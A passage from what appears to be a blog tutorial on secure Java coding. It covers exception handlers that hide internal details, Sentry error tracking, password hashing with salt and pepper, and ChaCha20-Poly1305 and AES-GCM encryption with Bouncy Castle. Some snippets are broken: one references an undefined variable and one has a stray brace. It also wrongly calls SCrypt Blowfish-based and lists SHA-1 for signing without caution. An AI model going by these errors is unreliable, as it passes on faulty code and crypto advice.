&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GlobalExceptionHandler&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;Logger&lt;/span&gt; &lt;span class="n"&gt;logger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;LoggerFactory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLogger&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;GlobalExceptionHandler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nd"&gt;@ExceptionHandler&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;OrderNotFoundException&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;handleOrderNotFound&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;OrderNotFoundException&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt; &lt;span class="n"&gt;errorResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"ORDER_NOT_FOUND"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                &lt;span class="s"&gt;"Order with ID "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOrderId&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" not found"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;(&lt;/span&gt;&lt;span class="n"&gt;errorResponse&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpStatus&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;NOT_FOUND&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}}&lt;/span&gt;

    &lt;span class="nd"&gt;@ExceptionHandler&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;handleUnknown&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"An unexpected error occurred: {}"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt; &lt;span class="n"&gt;errorResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"INTERNAL_SERVER_ERROR"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                &lt;span class="s"&gt;"An unexpected error occurred. Please try again later."&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;(&lt;/span&gt;&lt;span class="n"&gt;errorResponse&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpStatus&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INTERNAL_SERVER_ERROR&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ideally, we should not only log unknown errors, but also use a centralized &lt;strong&gt;Error Tracker&lt;/strong&gt; like &lt;a href="https://sentry.io/welcome/" rel="noopener noreferrer"&gt;Sentry&lt;/a&gt;. This will allow us to &lt;strong&gt;react&lt;/strong&gt; in time, especially if the unexpected error is critical:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;    &lt;span class="nd"&gt;@ExceptionHandler&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;handleUnknown&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"An unexpected error occurred: {}"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;Sentry&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;captureException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt; &lt;span class="n"&gt;errorResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"INTERNAL_SERVER_ERROR"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                &lt;span class="s"&gt;"An unexpected error occurred. Please try again later."&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;(&lt;/span&gt;&lt;span class="n"&gt;errorResponse&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpStatus&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INTERNAL_SERVER_ERROR&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's summarize what we should have understood from here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You cannot allow technical information to be leaked to users. This will give attackers a greater chance to exploit your system.&lt;/li&gt;
&lt;li&gt;Logging errors for further analysis is a good practice, but you should not let sensitive information get into the logs.&lt;/li&gt;
&lt;li&gt;Do not generalize errors (e.g. by throwing &lt;code&gt;RuntimeException&lt;/code&gt;), but specify them for clear processing.&lt;/li&gt;
&lt;li&gt;For rapid response to unexpected errors, it is good practice to use centralized Error trackers.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Secure Cryptography
&lt;/h2&gt;

&lt;p&gt;When we work with sensitive data, we rely on cryptography. For example:&lt;br&gt;
&lt;strong&gt;hash&lt;/strong&gt; data that we don't need to know the original form of (e.g. passwords)&lt;br&gt;
&lt;strong&gt;encrypt&lt;/strong&gt; data that we need to revert to its original form (e.g. data transfers)&lt;br&gt;
&lt;strong&gt;sign&lt;/strong&gt; data that we need to ensure the integrity of (e.g. JWT tokens)&lt;/p&gt;

&lt;p&gt;Before we move on to cryptography solutions, remember one golden rule: &lt;strong&gt;Do not try to create your own cryptographic algorithm. Leave the cryptography to the cryptographers&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Secure Hashing
&lt;/h3&gt;

&lt;p&gt;When it comes to hashing algorithms, we divide them into &lt;strong&gt;fast&lt;/strong&gt; and &lt;strong&gt;slow&lt;/strong&gt;. We only use fast hashing algorithms where speed is important, such as for &lt;strong&gt;signing&lt;/strong&gt; and verifying the &lt;strong&gt;integrity&lt;/strong&gt; of data. These include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SHA-256&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA-1&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA-3&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MD5&lt;/strong&gt; - &lt;em&gt;Deprecated for cryptographic operations and is only valid as a noncryptographic checksum&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Slow algorithms are most often used to hash &lt;strong&gt;confidential&lt;/strong&gt; data for later storage, because they are designed to require more processing power (e.g. memory consumption, CPU) to be resistant to types of attacks like &lt;strong&gt;brute force&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;BCrypt&lt;/strong&gt; - One of the most popular hashing algorithms, which is most common already in legacy systems. Good, but not resistant to high-performance attacks on specialized devices.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SCrypt&lt;/strong&gt; - Unlike BCrypt, an algorithm based on &lt;strong&gt;Blowfish&lt;/strong&gt; that is resistant to attacks using parallel computing (e.g. GPUs).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Argon2id&lt;/strong&gt; - Winner of the Password Hashing Competition (PHC) in 2015 and the most flexible among the described algorithms, which allows to customize the hashing complexity for different security requirements.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Very often, in addition to &lt;strong&gt;Brute Force&lt;/strong&gt; attacks, attackers use &lt;strong&gt;Rainbow Hash Tables&lt;/strong&gt; to retrieve the original data (i.e. passwords) from their hash. These tables contain pre-computed hashes for a wide range of passwords, and while slow hashes make it difficult for the attacker (due to resource consumption), the most effective method of dealing with them is to use &lt;strong&gt;Salt&lt;/strong&gt; and &lt;strong&gt;Pepper&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Salt&lt;/strong&gt; is a randomized set of bytes/symbols, most often at least 16-32 bytes long, that is added to the beginning or end of our data before hashing. It is stored in &lt;strong&gt;open&lt;/strong&gt; form and is &lt;strong&gt;unique&lt;/strong&gt; to each data that we hash.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Pepper&lt;/strong&gt; is exactly the same random set of bytes, which unlike Salt is &lt;strong&gt;secret&lt;/strong&gt; and &lt;strong&gt;NOT&lt;/strong&gt; unique for each chunk of data (i.e. 1 pepper for all passwords). It acts as an additional layer of defense and should be kept separate from our data. For example, if an attacker gains access to the password database, not knowing the pepper will make it nearly impossible to retrieve the original passwords.&lt;/p&gt;
&lt;h3&gt;
  
  
  Secure encryption
&lt;/h3&gt;

&lt;p&gt;Encryption comes in two types - &lt;strong&gt;symmetric&lt;/strong&gt; and &lt;strong&gt;asymmetric&lt;/strong&gt;. While symmetric encryption uses a single key to encrypt and decrypt data, asymmetric encryption has 2 keys: &lt;strong&gt;public&lt;/strong&gt; for data encryption and &lt;strong&gt;private&lt;/strong&gt; for decryption. It is important to use only up-to-date encryption algorithms that are invulnerable to brute force attacks, resistant to ciphertext analysis and simply effective in our realities.&lt;/p&gt;

&lt;p&gt;The most secure symmetric algorithms currently available include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;AES&lt;/strong&gt; with &lt;strong&gt;GCM&lt;/strong&gt; mode (preferably 256 bits), which is often hardware accelerated.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;ChaCha20-Poly1305&lt;/strong&gt; - A stream cipher, particularly effective compared to AES in scenarios where there is no hardware acceleration for AES.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We can use both of these ciphers with &lt;strong&gt;Bouncy Castle&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChaCha20Poly1305Cipher&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;forEncryption&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;ChaCha20Poly1305&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ChaCha20Poly1305&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forEncryption&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ParametersWithIV&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;KeyParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;

        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOutputSize&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;)];&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;processBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InvalidCipherTextException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Cipher operation failed"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AesGcmCipher&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="no"&gt;GCM_NONCE_LENGTH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="no"&gt;GCM_MAC_SIZE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;forEncryption&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
